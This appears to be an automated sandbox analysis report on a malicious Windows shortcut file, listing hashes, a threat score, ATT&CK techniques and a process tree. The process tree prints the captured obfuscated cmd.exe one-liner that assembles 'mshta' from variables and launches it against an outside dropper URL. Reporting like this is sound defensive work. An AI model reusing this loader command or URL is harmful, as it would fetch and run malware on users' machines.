bb0fd72cbc23624d0ec52da8e0a0fb4562054b275d57b012c3c2ec4ccd67b60a

Analysis

max time kernel
148s
max time network
138s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:20

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General

Target
DOC-NZNJL9.lnk
Size 1KB
Sample260804-j8tk9avdqc
SHA256 bb0fd72cbc23624d0ec52da8e0a0fb4562054b275d57b012c3c2ec4ccd67b60a
MD5 2775e7f253d71e5443ca03e44ab22a61
SHA1 ca46d3e49afeb37b90ced22cb4de206ca55497ad
SHA512 0e532b9e33072cd82700f536d1b8b09c572a8b1684dc2f7d9ca8c47e719904ae21bc9dcedbef408f8c10b49e416919ca668390e981c9b2f0dec945938ede915f
TLSH
T136317B503FED0664F3F79F7794BF572485BBB8A68E21CA2D0141454C5032A15E13AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5800	cmd.exe
252	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5800 wrote to memory of 252	5800	cmd.exe	91
PID 252 wrote to memory of 1564	252	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NZNJL9.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5800
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set OMPg=msh&&set UT=ta&&start "" !OMPg!!UT! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:252
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:1564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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